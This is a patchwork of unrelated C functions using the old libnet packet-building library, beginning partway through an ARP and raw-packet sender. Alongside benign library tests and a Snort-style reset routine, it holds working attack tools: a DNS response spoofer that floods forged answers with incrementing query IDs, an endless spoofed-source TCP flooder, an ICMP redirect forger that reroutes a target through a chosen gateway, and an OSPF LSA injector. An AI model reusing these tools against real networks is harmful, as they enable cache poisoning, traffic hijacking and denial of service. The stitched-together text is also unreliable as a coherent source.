protocol type ETHER_ADDR_LEN, // hardware address size 4, // protocol address size ARPOP_REPLY, // ARP operation smac, // source mac (u_char *)&src_ip, // source ip dmac, // destination mac (u_char *)&dst_ip, // destination ip NULL, // pointer to payload 0, // payload size packet+LIBNET_ETH_H // pointer to packet buffer ); // Get the packet on the wire send = libnet_write_link_layer(link,device,packet,LIBNET_ETH_H+LIBNET_IP_H+LIBNET_TCP_H+p_size); // was the complete packet send over the wire? if(send < LIBNET_IP_H+LIBNET_TCP_H+p_size) { printf("error while writing packet into the socket...\n"); } // close the network device libnet_close_link_interface(link); } else { // Open a raw sock sock = libnet_open_raw_sock(IPPROTO_RAW); // Allocate memory for the packet if(libnet_init_packet(LIBNET_IP_H+LIBNET_TCP_H+p_size,&packet) == -1) { printf("libnet_init_packet error!\n%s\n", strerror(errno)); exit(1); } // Build ip header libnet_build_ip(LIBNET_TCP_H+p_size,// packet length without ip header length 0, // ip type of service 242, // ip id 0, // fragmentation bit 48, // time to live IPPROTO_TCP, // Transport Control Protokoll src_ip, // source ip dst_ip, // destination ip NULL, // pointer to ip payload 0, // ip options packet // pointer to packet buffer ); // Build UDP packet? if(!strcmp(type,"udp")) { libnet_build_udp(ntohs(SPORT), // Source port ntohs(DPORT), // destination port payload, // pointer to packet payload p_size, // payload size packet+LIBNET_IP_H // pointer to packet buffer ); printf("Sending UDP packet %s:%d --> %s.%d\n",SOURCE,SPORT,DEST,DPORT); } // Build TCP/IP packet per default else { // Build tcp header libnet_build_tcp(ntohs(SPORT), // source port ntohs(DPORT), // destination port 1000000000, // acknowledge number 1000000000, // sequence number TH_ACK, // tcp flags 1024, // window size 0, // urgent pointer payload, // pointer to packet payload p_size, // payload size packet+LIBNET_IP_H // pointer to the packet buffer ); printf("Sending TCP packet %s:%d --> %s.%d\n",SOURCE,SPORT,DEST,DPORT); } // Calculize checksum libnet_do_checksum(packet,IPPROTO_TCP,LIBNET_IP_H+LIBNET_TCP_H+p_size); // Get the packet on the wire send = libnet_write_ip(sock,packet,LIBNET_IP_H+LIBNET_TCP_H+p_size); // was the complete packet send over the wire? if(send < LIBNET_IP_H+LIBNET_TCP_H+p_size) { printf("error while writing packet into the socket...\n"); } // close the socket libnet_close_raw_sock(sock); } // free the memory //libnet_destroy_packet(packet); free(payload); free(errbuff); return 1; }
int main(int argc, char **argv) { int sock, n, c, p_num; struct libnet_arena arena, *arena_p; u_char *packets[10]; u_long src_ip, dst_ip; printf("ICMP_ECHO / Arena allocator test\n"); src_ip = 0; dst_ip = 0; while((c = getopt(argc, argv, "d:s:")) != EOF) { switch (c) { case 'd': if (!(dst_ip = libnet_name_resolve(optarg, 1))) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(1); } break; case 's': if (!(src_ip = libnet_name_resolve(optarg, 1))) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(1); } break; } } if (!src_ip || !dst_ip) { usage(argv[0]); exit(EXIT_FAILURE); } arena_p = &arena; p_num = 10; if (libnet_init_packet_arena(&arena_p, p_num, LIBNET_ICMP_ECHO_H + LIBNET_IP_H) == -1) { fprintf(stderr, "libnet_init_packet_arena failed\n"); exit(EXIT_FAILURE); } else { printf("Allocated an arena of %ld bytes..\n", LIBNET_GET_ARENA_SIZE(arena)); } /* * Open our raw IP socket and set IP_HDRINCL. */ sock = libnet_open_raw_sock(IPPROTO_RAW); if (sock == -1) { perror("No socket"); exit(EXIT_FAILURE); } for (n = 0; n < p_num; n++) { printf("%ld bytes remaining in arena\n", LIBNET_GET_ARENA_REMAINING_BYTES(arena)); packets[n] = libnet_next_packet_from_arena(&arena_p, LIBNET_ICMP_ECHO_H + LIBNET_IP_H); if (!packets[n]) { fprintf(stderr, "Arena is empty\n"); continue; } /* * Build the IP header (shown exploded for commenting). */ libnet_build_ip(LIBNET_ICMP_ECHO_H, /* Size of the payload */ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* IP tos */ 242, /* IP ID */ 0, /* Frag stuff */ 48, /* TTL */ IPPROTO_ICMP, /* Transport protocol */ src_ip, /* Source IP */ dst_ip, /* Destination IP */ NULL, /* Pointer to payload (none) */ 0, packets[n]); /* Packet header memory */ /* * Build the ICMP header. */ libnet_build_icmp_echo(ICMP_ECHO, /* type */ 0, /* code */ 242, /* id */ 1, /* seq */ NULL, /* pointer to payload */ 0, /* size of payload */ packets[n] + LIBNET_IP_H); /* packet header memory */ if (libnet_do_checksum(packets[n], IPPROTO_ICMP, LIBNET_ICMP_ECHO_H) == -1) { fprintf(stderr, "Can't do checksum!\n"); } /* * Write the packet to the network. */ c = libnet_write_ip(sock, packets[n], LIBNET_ICMP_ECHO_H + LIBNET_IP_H); if (c < LIBNET_ICMP_ECHO_H + LIBNET_IP_H) { fprintf(stderr, "write_ip\n"); } printf("Completed %d of %d, wrote %d bytes\n", n + 1, p_num, c); } libnet_destroy_packet_arena(&arena_p); /* Blah. */ return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS); }
int buildudp(ETHERhdr *eth, IPhdr *ip, UDPhdr *udp, FileData *pd, FileData *ipod, char *device) { int n; u_int32_t udp_packetlen = 0, udp_meta_packetlen = 0; static u_int8_t *pkt; static int sockfd = -1; struct libnet_link_int *l2 = NULL; u_int8_t link_offset = 0; #if !defined(WIN32) int sockbuff = IP_MAXPACKET; #endif if (pd->file_mem == NULL) pd->file_s = 0; if (ipod->file_mem == NULL) ipod->file_s = 0; if (got_link) /* data link layer transport */ { if ((l2 = libnet_open_link_interface(device, errbuf)) == NULL) { nemesis_device_failure(INJECTION_LINK, (const char *)device); return -1; } link_offset = LIBNET_ETH_H; } else { if ((sockfd = libnet_open_raw_sock(IPPROTO_RAW)) < 0) { nemesis_device_failure(INJECTION_RAW, (const char *)NULL); return -1; } #if !defined(WIN32) if ((setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (const void *)&sockbuff, sizeof(sockbuff))) < 0) { fprintf(stderr, "ERROR: setsockopt() failed.\n"); return -1; } #endif } udp_packetlen = link_offset + LIBNET_IP_H + LIBNET_UDP_H + pd->file_s + ipod->file_s; udp_meta_packetlen = udp_packetlen - (link_offset + LIBNET_IP_H); #ifdef DEBUG printf("DEBUG: UDP packet length %u.\n", udp_packetlen); printf("DEBUG: IP options size %u.\n", ipod->file_s); printf("DEBUG: UDP payload size %u.\n", pd->file_s); #endif if (libnet_init_packet(udp_packetlen, &pkt) == -1) { fprintf(stderr, "ERROR: Unable to allocate packet memory.\n"); return -1; } if (got_link) libnet_build_ethernet(eth->ether_dhost, eth->ether_shost, ETHERTYPE_IP, NULL, 0, pkt); libnet_build_ip(udp_meta_packetlen, ip->ip_tos, ip->ip_id, ip->ip_off, ip->ip_ttl, ip->ip_p, ip->ip_src.s_addr, ip->ip_dst.s_addr, NULL, 0, pkt + link_offset); libnet_build_udp(udp->uh_sport, udp->uh_dport, pd->file_mem, pd->file_s, pkt + link_offset + LIBNET_IP_H); if (got_ipoptions) { if ((libnet_insert_ipo((struct ipoption *)ipod->file_mem, ipod->file_s, pkt + link_offset)) == -1) { fprintf(stderr, "ERROR: Unable to add IP options, discarding " "them.\n"); } } if (got_link) libnet_do_checksum(pkt + LIBNET_ETH_H, IPPROTO_IP, LIBNET_IP_H + ipod->file_s); libnet_do_checksum(pkt + link_offset, IPPROTO_UDP, LIBNET_UDP_H + pd->file_s + ipod->file_s); if (got_link) n = libnet_write_link_layer(l2, device, pkt, udp_packetlen); else n = libnet_write_ip(sockfd, pkt, udp_packetlen); if (verbose == 2) nemesis_hexdump(pkt, udp_packetlen, HEX_ASCII_DECODE); if (verbose == 3) nemesis_hexdump(pkt, udp_packetlen, HEX_RAW_DECODE); if (n != udp_packetlen) { fprintf(stderr, "ERROR: Incomplete packet injection. Only wrote " "%d bytes.\n", n); } else { if (verbose) { if (got_link) printf("Wrote %d byte UDP packet through linktype %s.\n", n, nemesis_lookup_linktype(l2->linktype)); else printf("Wrote %d byte UDP packet.\n", n); } } libnet_destroy_packet(&pkt); if (got_link) libnet_close_link_interface(l2); else libnet_close_raw_sock(sockfd); return n; }
int main(int argc, char **argv) { int sock, warn, len; u_char *pack; char *from, *to; u_long src, dst, addrid, addaid, auth[2]; if (argc != 3) help(argv[0]); len = LIBNET_IP_H + LIBNET_OSPF_H + LIBNET_AUTH_H + LIBNET_LSA_H + LIBNET_LS_NET_LEN; pack = (u_char *)malloc(len); from = argv[1]; to = argv[2]; src = libnet_name_resolve(from, 0); dst = libnet_name_resolve(to, 0); addrid = 0xff00ff00; addaid = 0xd00dd00d; sock = libnet_open_raw_sock(IPPROTO_RAW); if (sock == -1) { perror("socket"); free(pack); exit(sock); } libnet_build_ip(LIBNET_OSPF_H + LIBNET_AUTH_H + LIBNET_LSA_H + LIBNET_LS_NET_LEN, 0x00, (u_short)rand(), IP_DF, 0xfe, IPPROTO_OSPF, src, dst, NULL, 0, pack); libnet_build_ospf(LIBNET_AUTH_H + LIBNET_LSA_H + LIBNET_LS_NET_LEN, LIBNET_OSPF_LSA, addrid, addaid, LIBNET_OSPF_AUTH_NULL, NULL, 0, pack + LIBNET_IP_H); memset(auth, 0, sizeof(auth)); LIBNET_OSPF_AUTHCPY(pack + LIBNET_OSPF_H + LIBNET_IP_H, auth); libnet_build_ospf_lsa(40, 0x00, LIBNET_LS_TYPE_NET, addrid, src, 0xf0f0f00f, LIBNET_LS_NET_LEN, NULL, 0, pack + LIBNET_AUTH_H + LIBNET_OSPF_H + LIBNET_IP_H); libnet_build_ospf_lsa_net(0xffffff00, 0xc0ffee00, NULL, 0, pack + LIBNET_LSA_H + LIBNET_AUTH_H + LIBNET_OSPF_H + LIBNET_IP_H); libnet_do_checksum(pack, IPPROTO_OSPF, len); libnet_do_checksum(pack + LIBNET_IP_H + LIBNET_OSPF_H + LIBNET_AUTH_H, IPPROTO_OSPF_LSA, LIBNET_LS_NET_LEN + LIBNET_LSA_H); warn = libnet_write_ip(sock, pack, len); if (warn == -1) { printf("Error writing packet to the wire\n"); free(pack); exit(warn); } printf("%d bytes written\n", warn); free(pack); return (0); }
int main (int argc, char **argv) { u_long src_ip, /* source address */ dst_ip; /* destination address */ u_short src_port, /* source port */ dst_port, /* destination port */ id; /* dns id we are spoofing */ int i, /* loop counter */ written_bytes, /* number of bytes written */ packet_size, /* size of our packet */ payload_size, /* size of our payload */ npackets, /* num of packet to write */ socket; /* socket to write on */ u_char *packet, /* we build this */ *payload; /* we send this */ if (argc < 7) { printf("\nusage: answer_dns <source_ip> <port> <destination_ip> <port> <dns_id> <#_packets>\n"); exit (EXIT_FAILURE); } if ((socket = libnet_open_raw_sock(IPPROTO_RAW)) == -1) libnet_error(LIBNET_ERR_FATAL, "network initialization failed\n"); src_ip = libnet_name_resolve(argv[1], 0); dst_ip = libnet_name_resolve(argv[3], 0); src_port = (u_short) atoi(argv[2]); dst_port = (u_short) atoi(argv[4]); id = (u_short) atoi(argv[5]); npackets = (int) atoi(argv[6]); payload = /* question section name/types, size: 21 */ "\x03\x77\x77\x77\x07\x72\x65\x64\x68\x69\x76\x65\x03\x63\x6f\x6d\x00\x00\x01\x00\x01" /* answer section, names/types, size: 21 */ "\x03\x77\x77\x77\x07\x72\x65\x64\x68\x69\x76\x65\x03\x63\x6f\x6d\x00\x00\x01\x00\x01" /* answer section, ttl, size: 4 */ "\xff\xff\xff\xff" /* answer section, rdata length, size: 2 */ "\x00\x04" /* answer section, rdata, size: 4 */ "\x81\x51\xe0\x43"; payload_size = 52; /* * packet memory allocation */ packet_size = payload_size + LIBNET_IP_H + LIBNET_UDP_H + LIBNET_DNS_H; libnet_init_packet(packet_size, &packet); if (packet == NULL) libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n"); /* * ip header construction */ libnet_build_ip(payload_size + LIBNET_UDP_H + LIBNET_DNS_H, 0, /* ip tos */ 10951, /* ip id */ 0, /* fragmentation bits */ 64, /* ttl */ IPPROTO_UDP, /* protocol */ src_ip, /* source address */ dst_ip, /* destination address */ NULL, /* payload */ 0, /* payload length */ packet); /* packet buffer */ /* * udp header construction * during debugging i found that we weren't generating the correct * length here, that is why a payload length is included (payload + dns_header) * it really shouldn't be here though */ libnet_build_udp(src_port, /* source port */ dst_port, /* destination port */ NULL, /* payload */ payload_size + 12, /* payload length */ packet + LIBNET_IP_H); /* * write npackets * we loop from here because we must change the dns id and also re-checksum */ printf("\nwriting packets"); for (i = 0; i < npackets; i++) { printf("."); /* * dns header construction */ libnet_build_dns(id+i, /* dns id */ 0x8180, /* control flags */ 1, /* number of questions */ 1, /* number of answer RR's */ 0, /* number of authority RR's */ 0, /* number of additional RR's */ payload, /* payload */ payload_size, /* payload length */ packet + LIBNET_IP_H + LIBNET_UDP_H); /* * calculate checksum */ libnet_do_checksum (packet, IPPROTO_UDP, packet_size - LIBNET_IP_H); /* * write packet */ written_bytes = libnet_write_ip(socket, packet, packet_size); /* * make sure the number of written bytes jives with what we expect */ if (written_bytes < packet_size) libnet_error(LN_ERR_WARNING, "libnet_write_ip only wrote %d of %d bytes\n", written_bytes, packet_size); } /* * cleanup */ libnet_destroy_packet(&packet); if (libnet_close_raw_sock(socket) == -1) libnet_error(LN_ERR_WARNING, "libnet_close_raw_sock couldn't close the interface"); printf("\n"); return (written_bytes == -1 ? EXIT_FAILURE : EXIT_SUCCESS); }
/* * Function: static void RejectSocket * * Purpose: send a reject packet (tcp-reset or icmp-unreachable * * Args: none * * Returns: nothing void function */ static void RejectSocket(void) { IPHdr *iph; TCPHdr *tcph; ICMPHdr *icmph; int proto; int size = 0; int payload_len = 0; iph = (IPHdr *)l_tcp; proto = tmpP->iph->ip_proto; iph->ip_src.s_addr = tmpP->iph->ip_dst.s_addr; iph->ip_dst.s_addr = tmpP->iph->ip_src.s_addr; switch(proto) { case IPPROTO_TCP: if (!tmpP->frag_flag) { size = IP_H + TCP_H; iph = (IPHdr *)l_tcp; tcph = (TCPHdr *)(l_tcp + IP_H); iph->ip_src.s_addr = tmpP->iph->ip_dst.s_addr; iph->ip_dst.s_addr = tmpP->iph->ip_src.s_addr; tcph->th_sport = tmpP->tcph->th_dport; tcph->th_dport = tmpP->tcph->th_sport; tcph->th_seq = tmpP->tcph->th_ack; tcph->th_ack = htonl(ntohl(tmpP->tcph->th_seq) + 1); //printf("Send TCP Rst in IP-mode.\n"); /* calculate the checksum */ if (libnet_do_checksum(l_tcp, IPPROTO_TCP, TCP_H) == -1) { libnet_error(LIBNET_ERR_CRITICAL, "SendTCPRST: libnet_do_checksum"); return; } /* write it to the socket */ if(libnet_write_ip(libnet_nd, l_tcp, size) < size) { libnet_error(LIBNET_ERR_CRITICAL, "SendTCPRST: libnet_write_ip"); return; } } /* end if !tmpP->frag_flag */ break; case IPPROTO_UDP: if (!tmpP->frag_flag) { iph = (IPHdr *)l_icmp; icmph = (ICMPHdr *)(l_icmp + IP_H); iph->ip_src.s_addr = tmpP->iph->ip_dst.s_addr; iph->ip_dst.s_addr = tmpP->iph->ip_src.s_addr; if ((payload_len = ntohs(tmpP->iph->ip_len) - (IP_HLEN(tmpP->iph) << 2)) > 8) { payload_len = 8; } memcpy((char *)icmph + ICMP_UNREACH_H, tmpP->iph, (IP_HLEN(tmpP->iph) << 2) + payload_len); size = IP_H + ICMP_UNREACH_H + (IP_HLEN(tmpP->iph) << 2) + payload_len; iph->ip_len = htons(size); /* calculate checksums */ if (libnet_do_checksum(l_icmp, IPPROTO_ICMP, size - IP_H) == -1) { libnet_error(LIBNET_ERR_CRITICAL, "SendICMPRST: libnet_do_checksum failed for IPPROTO_ICMP"); return; } /* finally write to socket */ if(libnet_write_ip(libnet_nd, l_icmp, size) < size) { libnet_error(LIBNET_ERR_CRITICAL, "SendICMPRST: libnet_write_ip"); return; } } /* end if !tmpP->frag_flag */ break; } /* end switch(proto) */ }
int main(int argc, char **argv) { int sock, c; u_long src_ip, dst_ip; u_short src_prt, dst_prt; u_char *cp, *buf; printf("TCP packet building/writing test\n"); src_ip = 0; dst_ip = 0; src_prt = 0; dst_prt = 0; while((c = getopt(argc, argv, "d:s:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`. We * point cp to the last dot of the IP address/port string and * then seperate them with a NULL byte. The optarg now points to * just the IP address, and cp points to the port. */ case 'd': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; dst_prt = (u_short)atoi(cp); if (!(dst_ip = libnet_name_resolve(optarg, 1))) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 's': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; src_prt = (u_short)atoi(cp); if (!(src_ip = libnet_name_resolve(optarg, 1))) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; } } if (!src_ip || !src_prt || !dst_ip || !dst_prt) { usage(argv[0]); exit(EXIT_FAILURE); } /* * Get our block of memory for the packet. In this case, we only need * memory for the packet headers. */ buf = malloc(IP_MAXPACKET); if (!buf) { perror("No memory for packet header"); exit(EXIT_FAILURE); } /* * Open our raw IP socket and set IP_HDRINCL. */ sock = libnet_open_raw_sock(IPPROTO_RAW); if (sock == -1) { perror("No socket"); exit(EXIT_FAILURE); } /* * Build the IP header (shown exploded for commenting). */ libnet_build_ip(LIBNET_TCP_H, /* Size of the payload */ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* IP tos */ 242, /* IP ID */ 0, /* Frag stuff */ 48, /* TTL */ IPPROTO_TCP, /* Transport protocol */ src_ip, /* Source IP */ dst_ip, /* Destination IP */ NULL, /* Pointer to payload (none) */ 0, buf); /* Packet header memory */ /* * Build the TCP header. */ libnet_build_tcp(src_prt, /* Source TCP port */ dst_prt, /* Destination TCP port */ 11111, /* Sequence number */ 99999, /* Acknowledgement number */ TH_SYN, /* Control flags */ 1024, /* Window size */ 0, /* Urgent pointer */ NULL, /* Pointer to payload (none) */ 0, buf + LIBNET_IP_H); /* Packet header memory */ /* * Calculate the TCP header checksum (IP header checksum is *always* done * by the kernel. */ libnet_do_checksum(buf, IPPROTO_TCP, LIBNET_TCP_H); /* * Write the packet to the network. */ c = libnet_write_ip(sock, buf, LIBNET_TCP_H + LIBNET_IP_H); if (c < LIBNET_TCP_H + LIBNET_IP_H) { fprintf(stderr, "libnet_write_ip\n"); } printf("Completed, wrote %d bytes\n", c); free(buf); return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS); }
int main (int argc, char **argv) { u_long src_ip, /* source address */ dst_ip; /* destination address */ u_short src_port, /* source port */ dst_port, /* destination port */ id; /* dns id we are spoofing */ int written_bytes, /* number of bytes written */ packet_size, /* size of our packet */ payload_size, /* size of our payload */ socket; /* socket to write on */ u_char *packet, /* we build this */ *payload; /* we send this */ if (argc < 6) { printf("\nusage: ask_dns <source_ip> <port> <destination_ip> <port> <dns_id>\n"); exit (EXIT_FAILURE); } if ((socket = libnet_open_raw_sock(IPPROTO_RAW)) == -1) libnet_error(LIBNET_ERR_FATAL, "network initialization failed\n"); src_ip = libnet_name_resolve(argv[1], 0); dst_ip = libnet_name_resolve(argv[3], 0); src_port = (u_short) atoi(argv[2]); dst_port = (u_short) atoi(argv[4]); id = (u_short) atoi(argv[5]); payload = "\x03\x77\x77\x77\x07\x72\x65\x64\x68\x69\x76\x65\x03\x63\x6f\x6d\x00\x00\x01\x00\x01"; payload_size = 21; /* * packet memory allocation */ packet_size = payload_size + LIBNET_IP_H + LIBNET_UDP_H + LIBNET_DNS_H; libnet_init_packet(packet_size, &packet); if (packet == NULL) libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n"); /* * ip header construction */ libnet_build_ip(payload_size + LIBNET_UDP_H + LIBNET_DNS_H, 0, /* ip tos */ 0, /* ip id */ 0, /* fragmentation bits */ 64, /* ttl */ IPPROTO_UDP, /* protocol */ src_ip, /* source address */ dst_ip, /* destination address */ NULL, /* payload */ 0, /* payload length */ packet); /* packet buffer */ /* * udp header construction * during debugging i found that we weren't generating the correct * length here, that is why a payload length is included (payload + dns_header) * it really shouldn't be here though */ libnet_build_udp(src_port, /* source port */ dst_port, /* destination port */ NULL, /* payload */ 33, /* payload length */ packet + LIBNET_IP_H); /* * dns header construction */ libnet_build_dns(id, /* dns id */ 0x0100, /* control flags */ 1, /* number of questions */ 0, /* number of answer RR's */ 0, /* number of authority RR's */ 0, /* number of additional RR's */ payload, /* payload */ payload_size, /* payload length */ packet + LIBNET_IP_H + LIBNET_UDP_H); /* * calculate checksum */ libnet_do_checksum (packet, IPPROTO_UDP, packet_size - LIBNET_IP_H); /* * write packet */ written_bytes = libnet_write_ip(socket, packet, packet_size); /* * make sure the number of written bytes jives with what we expect */ if (written_bytes < packet_size) libnet_error(LN_ERR_WARNING, "libnet_write_ip only wrote %d of %d bytes\n", written_bytes, packet_size); /* * we're done with this packet */ libnet_destroy_packet(&packet); /* * we're done writing */ if (libnet_close_raw_sock(socket) == -1) libnet_error(LN_ERR_WARNING, "libnet_close_raw_sock couldn't close the interface"); return (written_bytes == -1 ? EXIT_FAILURE : EXIT_SUCCESS); }
int main(int argc, char **argv) { u_long src_ip = 0, dst_ip = 0, ins_src_ip = 0, ins_dst_ip = 0; u_long *problem = NULL; u_char *packet = NULL; int sock, c, len = 0; long acx, count = 1; struct icmp *icmp; struct ip *ip; /* It appears that most IP options of length >0 will work * Works with 128, 64, 32, 16... And the normal ones 137... * Does not work with 0, 1 */ u_char data[] = {137}; int data_len = sizeof(data); printf("Written by Mike Frantzen... <*****@*****.**>\n"); printf("For test purposes only... yada yada yada...\n"); src_ip = inet_addr("10.10.10.10"); while ( (c = getopt(argc, argv, "d:s:D:S:l:c:")) != EOF ) { switch(c) { case 'd': dst_ip = libnet_name_resolve(optarg, 1); break; case 's': src_ip = libnet_name_resolve(optarg, 1); break; case 'D': ins_dst_ip = name_resolve(optarg, 1); break; case 'S': ins_src_ip = name_resolve(optarg, 1); break; case 'l': data_len = atoi(optarg); break; case 'c': if ( (count = atol(optarg)) < 1) count = 1; break; default: printf("Don't understand option.\n"); exit(-1); } } if ( dst_ip == 0 ) { printf("Usage: %s\t -d <destination IP>\t[-s <source IP>]\n", rindex(argv[0], '/') == NULL ? argv[0] : rindex(argv[0], '/') + 1); printf("\t\t[-S <inner source IP>]\t[-D <inner dest IP>]\n"); printf("\t\t[-l <data length>]\t[-c <# to send>]\n"); exit(-1); } if ( ins_dst_ip == 0 ) ins_dst_ip = src_ip; if ( ins_src_ip == 0 ) ins_src_ip = dst_ip; if ( (packet = malloc(1500)) == NULL ) { perror("malloc: "); exit(-1); } if ( (sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1 ) { perror("socket: "); exit(-1); } /* 8 is the length of the ICMP header with the problem field */ len = 8 + IP_H + data_len; bzero(packet + IP_H, len); libnet_build_ip(len, /* Size of the payload */ 0xc2, /* IP tos */ 30241, /* IP ID */ 0, /* Frag Offset & Flags */ 64, /* TTL */ IPPROTO_ICMP, /* Transport protocol */ src_ip, /* Source IP */ dst_ip, /* Destination IP */ NULL, /* Pointer to payload */ 0, packet); /* Packet memory */ /* ICMP Header for Parameter Problem * --------------+---------------+---------------+--------------- *| Type (12) | Code (0) | Checksum | * --------------+---------------+---------------+--------------- *| Pointer | unused | * --------------+---------------+---------------+--------------- * Internet Header + 64 bits of original datagram data.... */ icmp = (struct icmp *) (packet + IP_H); problem = (u_long *) (packet + IP_H + 4); /* 4 = ICMP header */ icmp->icmp_type = ICMP_PARAMPROB; icmp->icmp_code = 0; /* Indicates a problem pointer */ *problem = htonl(0x14000000); /* Problem is 20 bytes into it */ /* Need to embed an IP packet within the ICMP */ ip = (struct ip *) (packet + IP_H + 8); /* 8 = icmp header */ ip->ip_v = 0x4; /* IPV4 */ ip->ip_hl = 0xf; /* Some IP Options */ ip->ip_tos = 0xa3; /* Whatever */ ip->ip_len = htons(data_len); /* Length of packet */ ip->ip_id = 30241; /* Whatever */ ip->ip_off = 0; /* No frag's */ ip->ip_ttl = 32; /* Whatever */ ip->ip_p = 98; /* Random protocol */ ip->ip_sum = 0; /* Will calc later */ ip->ip_src.s_addr = ins_src_ip; ip->ip_dst.s_addr = ins_dst_ip; /* Move our data block into the packet */ bcopy(data, (void *) (packet + IP_H + IP_H + 8), data_len); /* I hate checksuming. Spent a day trying to get it to work in * perl... That sucked... Tequilla would have helped immensly. */ libnet_do_checksum((unsigned char *) ip, IPPROTO_IP, data_len); /* Bah... See above comment.... */ libnet_do_checksum(packet, IPPROTO_ICMP, len); printf("Sending %li packets", count); for (acx = 0; acx < count; acx++) { if( libnet_write_ip(sock, packet, len + IP_H) < (len + IP_H)) perror("write_ip: "); else printf("."); } printf("\n\n"); return( 0 ); }
int main (int argc, char *argv[]) { int i, loop; /* no payload yet */ int size = LIBNET_PACKET; opt.seqn = opt.ackn = opt.flags = 0; opt.dport = opt.sport = opt.frag = 0; opt.ttl = 255; opt.winsize = 16384; opt.tos = 0x08; signal (SIGINT, (void (*)()) abort); srand (time (NULL) + getpid ()); srandom (time (NULL) + getpid ()); banner (); parse_args (argc, argv); if (!whocares) { if (!local) { if (!(opt.dst = libnet_name_resolve (dsthost, LIBNET_RESOLVE))) { libnet_error (LIBNET_ERR_FATAL, ":: invalid destination IP address: %s\n", dsthost); exit (1); } printf (":: destination host - %s\n", dsthost); } else printf (":: destination host - local\n"); } else printf (":: destination host - whocares\n"); printf (":: destination port(s)"); for (i = 1; i < ports + 1; i++) printf (" - %d", portarray[i]); printf ("\n"); if (libnet_init_packet (size, &packet) == NULL) { libnet_error (LIBNET_ERR_FATAL, ":: libnet_init_packet failed\n"); } if ((s = libnet_open_raw_sock (IPPROTO_RAW)) == -1) { libnet_error (LIBNET_ERR_FATAL, ":: cannot open socket.\n"); } printf (":: spanking...\n"); printf (":: press ^C to end...\n"); for (;;) { for (i = 1; i < ports + 1; i++) { if (whocares) change2 = random () & 01; if (ismult) { opt.src = ((224 + rand () % 239) << 24) + ((rand () % 254) << 16) + ((rand () % 254) << 8) + (rand () % 254); if (local) opt.dst = ((224 + rand () % 239) << 24) + (0 << 16) + (0 << 8) + (rand () % 5); else { if (change2) opt.dst = ((224 + rand () % 239) << 24) + ((rand () % 254) << 16) + ((rand () % 254) << 8) + (rand () % 254); else opt.dst = rand (); } } else { opt.src = rand (); if (local) opt.dst = ((224 + rand () % 239) << 24) + (0 << 16) + (0 << 8) + (rand () % 5); else { if (change2) opt.dst = ((224 + rand () % 239) << 24) + ((rand () % 254) << 16) + ((rand () % 254) << 8) + (rand () % 254); else opt.dst = rand (); } } if (isrand) { loop = rand () % 5; for (i = 0; i <= loop; i++) opt.flags |= flag_array[rand () % 5]; opt.frag = frag_array[rand () % 3]; opt.ackn = random (); opt.sport = 1024 + rand () % 32000; opt.tos = tos_array[rand () % 3]; opt.ttl = rand () % 255; opt.winsize = rand () % 32000; if (change) ismult = random () & 01; } opt.ident = random (); opt.seqn = random (); if (!stream) opt.ackn = random (); if (portarray[i] == 0) opt.dport = rand () % 1024; else opt.dport = portarray[i]; libnet_build_ip (TCP_H, opt.tos, opt.ident, opt.frag, opt.ttl, IPPROTO_TCP, opt.src, opt.dst, NULL, 0, packet); libnet_build_tcp (opt.sport, opt.dport, opt.seqn, opt.ackn, opt.flags, opt.winsize, 0, NULL, 0, packet + IP_H); if (libnet_do_checksum (packet, IPPROTO_TCP, TCP_H) == -1) { libnet_error (LIBNET_ERR_FATAL, ":: libnet_do_checksum failed\n"); } libnet_write_ip (s, packet, size); } } return 1; }
int main(int argc, char **argv) { int sockfd, c; u_char *buf; u_long src, dst, gateway; if (argc < 4) { fprintf(stderr, "usage: %s <old_router> <target> <new_gateway>\n", argv[0]); exit(EXIT_FAILURE); } if (!(src = libnet_name_resolve(argv[1], 1))) { perror("Error resolving source host"); exit(EXIT_FAILURE); } if (!(dst = libnet_name_resolve(argv[2], 1))) { perror("Error resolving destination host"); exit(EXIT_FAILURE); } if (!(gateway = libnet_name_resolve(argv[3], 1))) { perror("Error resolving gateway host"); exit(EXIT_FAILURE); } if (libnet_init_packet(IP_MAXPACKET, &buf) == -1) { perror("Couldn't allocate memory for header"); exit(EXIT_FAILURE); } if ((sockfd = libnet_open_raw_sock(IPPROTO_RAW)) == -1) { perror("Couldn't open raw socket"); exit(EXIT_FAILURE); } libnet_build_ip(LIBNET_ICMP_REDIRECT_H + LIBNET_IP_H, IPTOS_LOWDELAY | IPTOS_THROUGHPUT, 242, 0, 48, IPPROTO_ICMP, src, dst, NULL, 0, buf); libnet_build_icmp_redirect( ICMP_REDIRECT, ICMP_UNREACH_HOST, gateway, 0, /* just an ip header */ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* IP tos */ 424, /* IP ID */ 0, /* Frag stuff */ 64, /* TTL */ IPPROTO_ICMP, /* Transport protocol */ dst, /* Source IP */ src, /* Destination IP */ NULL, /* pointer to payload */ 0, /* size of payload */ buf + LIBNET_IP_H); /* packet header memory */ libnet_do_checksum(buf, IPPROTO_ICMP, LIBNET_ICMP_REDIRECT_H + LIBNET_IP_H); c = libnet_write_ip(sockfd, buf, LIBNET_ICMP_REDIRECT_H + 2 * LIBNET_IP_H); if (c != LIBNET_ICMP_REDIRECT_H + 2 * LIBNET_IP_H) { fprintf(stderr, "Error writing to socket, only wrote %d bytes\n", c); exit(EXIT_FAILURE); } printf("Completed, wrote %d bytes\n", c); libnet_destroy_packet(&buf); exit(EXIT_SUCCESS); }